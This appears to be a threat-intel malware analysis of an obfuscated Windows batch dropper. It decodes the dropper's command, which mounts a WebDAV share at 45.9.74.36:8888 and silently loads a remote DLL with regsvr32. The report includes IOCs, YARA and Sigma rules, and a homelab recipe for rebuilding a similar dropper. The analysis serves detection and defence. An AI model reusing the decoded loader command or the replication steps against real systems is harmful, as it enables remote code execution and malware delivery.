b2a097baad7ae4e557b47de679dc1d8f512932a0a38d2b52a3439a15ccf0c9f8unclassified-js-webdav-dropper: b2a097ba — Twenty-seventh sibling, natural-language SET obfuscation, 45.9.74.36:8888
Executive Summary
A 14.5 KB Windows batch script (20763209561447914653.bat) using natural-language SET variable expansion obfuscation to hide a WebDAV-based DLL load. Twenty-seventh confirmed sibling of the unclassified-js-webdav-dropper family, sharing the 45.9.74.36:8888 infrastructure and regsvr32 /s execution chain with siblings ffd5d894, e9e82d14, f170f5a9, e11665cf, and dac5e0ee. Static-only — CAPE skipped as unsupported file type.
What It Is
- File:
20763209561447914653.bat(14,527 bytes) ^[file.txt] - Type: ASCII text, Windows CRLF batch script, 201 lines ^[file.txt] ^[exiftool.json]
- SHA-256:
b2a097baad7ae4e557b47de679dc1d8f512932a0a38d2b52a3439a15ccf0c9f8 - ssdeep:
384:rCJ/MtIqAxkL6htWirCeZoz78SZFYwygxPViW:S/MgxkstWirCeZo1ZFb4W^[ssdeep.txt] - Family: unclassified-js-webdav-dropper — natural-language SET variant, pure batch ^[triage.json]
- CAPE: Skipped —
ASCII textis not a supported binary class ^[dynamic-analysis.md]
How It Works
Layer 1 — Noise padding (lines 1–11)
Lines 1–11 are dead English words and phrases (needy noxious year mindless impulse want volleyball sudden oatmeal spooky tense, etc.). A goto shave at line 1 skips them entirely. The noise pad is shorter than siblings ffd5d894 (126 lines) and e9e82d14 (147 lines), reflecting the smaller overall file size (14.5 KB vs 20–21 KB). ^[strings.txt:1-11]
Layer 2 — SET variable expansion (line 12)
Thirty-six SET assignments chained with && on a single line. Variable names are long natural-language phrases; values are single characters: ^[strings.txt:12]
set hotskillfulpour=a&&set whisperingsecondrake=x&&set worthlessbottledust=3&&...
Selected bindings:
| Variable | Value | Decoded char |
|---|---|---|
hotskillfulpour |
a |
a |
whisperingsecondrake |
x |
x |
trickygovernmentfuture |
r |
r |
haircutrelaxcanvas |
s |
s |
airportteethinstrument |
o |
o |
glamorouswalkmessy |
t |
t |
curemaliciousdistance |
u |
u |
breatheyouthfulborder |
5 |
5 |
courageousrangescent |
7 |
7 |
broadmusclehover |
8 |
8 |
Layer 3 — Payload reassembly (lines 13–15)
Three %VARNAME% expansion lines decode to:
color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\3099531828214.dll
exit
Line 14 is a single 1,100+ character concatenation of 30 variable references. ^[strings.txt:13-15]
Command breakdown
| Line | Expanded Command | Purpose |
|---|---|---|
| 13 | color f0 |
Console colour reset (white on black) |
| 13 | start wordpad |
Decoy — opens WordPad while payload stages |
| 14 | start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ |
Mounts attacker WebDAV share silently via PowerShell |
| 14 | regsvr32 /s \\45.9.74.36@8888\davwwwroot\3099531828214.dll |
Silently loads remote DLL over WebDAV |
| 15 | exit |
Closes the batch window |
Decompiled Behavior
Not applicable — batch script, not a PE. Ghidra, radare2, and capa do not support script-file analysis. All behaviour recovered via manual SET variable decoding. ^[file.txt] ^[capa.txt]
C2 Infrastructure
| Indicator | Value | Provenance |
|---|---|---|
| IP | 45.9.74.36 |
^[strings.txt:14] |
| Port | 8888 |
^[strings.txt:14] |
| Path | \DavWWWRoot\3099531828214.dll |
^[strings.txt:14] |
| Protocol | WebDAV over HTTP (Windows built-in net use UNC path) |
inferred from \\host@port\share syntax ^[strings.txt:14] |
| Payload | 3099531828214.dll (name only; no hash available) |
^[strings.txt:14] |
| Decoy | wordpad launched via start |
^[strings.txt:13] |
Same C2 IP and port as siblings ffd5d894, e9e82d14, f170f5a9, e11665cf, and dac5e0ee. The payload filename (3099531828214.dll) is numeric and distinct from prior siblings (24013635923706.dll, 231502634512294.dll, 223191424010705.dll, 22643293059111.dll, 33081201929468.dll), confirming per-campaign or per-victim rotation. ^[entities/unclassified-js-webdav-dropper.md]
Interesting Tidbits
- Shortest noise pad observed in family. At 11 lines, the dead-text prefix is the briefest among the natural-language SET batch variants (
ffd5d894: 126 lines,e9e82d14: 147 lines,f170f5a9: 163 lines,e11665cf: 146 lines,dac5e0ee: 143 lines). The operator may be optimising for file size or delivery channel constraints. ^[strings.txt:1-11] - Same C2, rotated payload name.
45.9.74.36:8888has now served six distinct DLL names across seven confirmed siblings. This is consistent throwaway staging behaviour, not per-victim custom compilation. ^[entities/unclassified-js-webdav-dropper.md] - Natural-language variable names as family dialect. The SET names (
hotskillfulpour,whisperingsecondrake,worthlessbottledust) are 2–3 concatenated English words, consistent with the dialect observed inffd5d894,e9e82d14,f170f5a9,e11665cf, anddac5e0ee. This distinguishes the batch cluster from the shared-prefix SET variants (ygfrlo,hbutc,nmnmd,labzf,wdopm,nxbas,mnihx) and the JScript dictionary-lookup variants. ^[strings.txt:12] - No polyglot layer. Pure batch; no JScript self-replication, no
WScript.Shell.Run, noFunction()constructor. Leaves fewer host artefacts than the JS siblings. ^[file.txt] - PowerShell wrapper for
net use. The use ofpowershell.exe -windowstyle hiddenas a wrapper fornet useadds a process hop that may evade simpler EDR rules looking forcmd.exe → net.exedirectly. The PowerShell process does not execute PowerShell script — it is merely a hidden shell host. ^[strings.txt:14] - No persistence. No registry Run key, no scheduled task, no startup folder drop. One-shot execution. The payload DLL is loaded in-process by
regsvr32; no second-stage binary is written to disk. ^[strings.txt] - No anti-analysis. No debugger checks, no VM detection, no sandbox gating, no connectivity tests. The script executes unconditionally. ^[strings.txt]
- SSDeep stability. The
384:block-size prefix and theS/Mgxk...fuzzy hash body are consistent with the 14 KB file size and the shared batch execution skeleton. Noise-pad content differences drive hash drift between siblings.
How To Mess With It (Homelab Replication)
Goal: Build a batch-only WebDAV dropper using SET variable expansion with natural-language names, and verify EDR detection gaps.
- Write the batch file:
@echo off goto shave scratch move needy noxious year mindless impulse want volleyball sudden oatmeal spooky tense :shave set hotskillfulpour=a&&set whisperingsecondrake=x&&... %gripajarcommand%%airportteethinstrument%%sackblushingserious%%airportteethinstrument%%trickygovernmentfuture% %lineencouragingcoast%%desirepinhead%&&... - Set up a WebDAV server on a lab Linux box:
pip install wsgidav cheroot wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous - Place a benign test DLL at
/tmp/webdav/3099531828214.dll. - Run on a Windows VM by double-clicking the
.batfile. - Verify with Process Monitor:
cmd.exe→wordpad.exe+powershell.exe→net.exe→regsvr32.exeloading DLL from UNC. - Test EDR detection: Does your EDR flag
regsvr32.exewith a UNC path? Most do not by default.
Deployable Signatures
YARA Rule
rule UnclassifiedJSWebDAVDropper_NaturalLangSET_b2a097ba {
meta:
description = "Batch WebDAV dropper with natural-language SET variable obfuscation (b2a097ba sibling)"
author = "PacketPursuit"
date = "2026-06-29"
reference = "raw/analyses/b2a097baad7ae4e557b47de679dc1d8f512932a0a38d2b52a3439a15ccf0c9f8"
strings:
$set1 = "set hotskillfulpour=a" ascii
$set2 = "set whisperingsecondrake=x" ascii
$set3 = "set worthlessbottledust=3" ascii
$set4 = "set broadmusclehover=8" ascii
$webdav = "davwwwroot" ascii nocase
$regsvr32 = "regsvr32 /s" ascii nocase
$wordpad = "start wordpad" ascii nocase
condition:
2 of ($set*) and $webdav and $regsvr32 and $wordpad
}
Behavioral Hunt Query (Sigma)
title: WebDAV DLL Load via Batch Script with WordPad Decoy
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'regsvr32 /s \\'
- 'davwwwroot'
ParentImage|endswith:
- '\\cmd.exe'
decoy:
CommandLine|contains: 'wordpad'
condition: selection and decoy
falsepositives:
- Legitimate IT automation using regsvr32 with UNC paths (rare)
level: high
IOC List
| Type | Value | Context |
|---|---|---|
| SHA-256 | b2a097baad7ae4e557b47de679dc1d8f512932a0a38d2b52a3439a15ccf0c9f8 |
Batch dropper |
| Filename | 20763209561447914653.bat |
Original name on disk |
| IP | 45.9.74.36 |
WebDAV C2 host |
| Port | 8888 |
WebDAV C2 port |
| Payload | 3099531828214.dll |
Remote DLL loaded via regsvr32 |
| UNC path | \\45.9.74.36@8888\DavWWWRoot\ |
WebDAV share mount point |
| Decoy | wordpad |
Launched via start before payload |
| Process chain | cmd.exe → powershell.exe → net.exe → regsvr32.exe |
Expected telemetry |
Behavioral Fingerprint
This binary is a Windows batch script that opens WordPad as a decoy, then spawns a hidden PowerShell process to mount an attacker-controlled WebDAV share (\\45.9.74.36@8888\DavWWWRoot\) and silently register a remote DLL (3099531828214.dll) via regsvr32 /s. No persistence mechanism is present; the script exits immediately after staging. The payload is delivered over plaintext HTTP via the Windows built-in WebDAV client, and no disk write of the DLL occurs — it is loaded directly from the UNC path into the regsvr32.exe process.
Detection Signatures
Not applicable — capa does not support batch-script analysis. ^[capa.txt]
References
- unclassified-js-webdav-dropper — Family entity page with 26 prior siblings
- webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + regsvr32 execution chain
- batch-powershell-variable-expansion-obfuscation — Technique page for the SET fragmentation pattern
- Sibling analyses:
ffd5d894^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html],e9e82d14^[/intel/analyses/e9e82d14538b830fe0b04aeaa4f1c07eed6fb38187d915bb18112b18fc98c1fe.html],f170f5a9^[/intel/analyses/f170f5a93ff750cf93f0b22bcb0b67ef69da616cce709e84d05aea7cea562edd.html],e11665cf^[/intel/analyses/e11665cfc0365e13977a75fe8be7cbc00362cd15f1eef8351db0357e8e16a40a.html],dac5e0ee^[/intel/analyses/dac5e0eedc6f6444f37857191ec366782752ea4af9e6a6c0addb0b08d408b76b.html]
Provenance
file.txt— file(1) output (ASCII text, CRLF)exiftool.json— ExifTool metadata (15 kB, 201 lines, Windows newlines)strings.txt— raw strings / manual SET decodingssdeep.txt— ssdeep fuzzy hashtriage.json— triage metadata (no family attribution)dynamic-analysis.md— CAPE skipped (non-PE)capa.txt— capa unsupported file type error- Decoded manually via Python regex substitution of
%VARNAME%tokens against theSETmapping on line 12.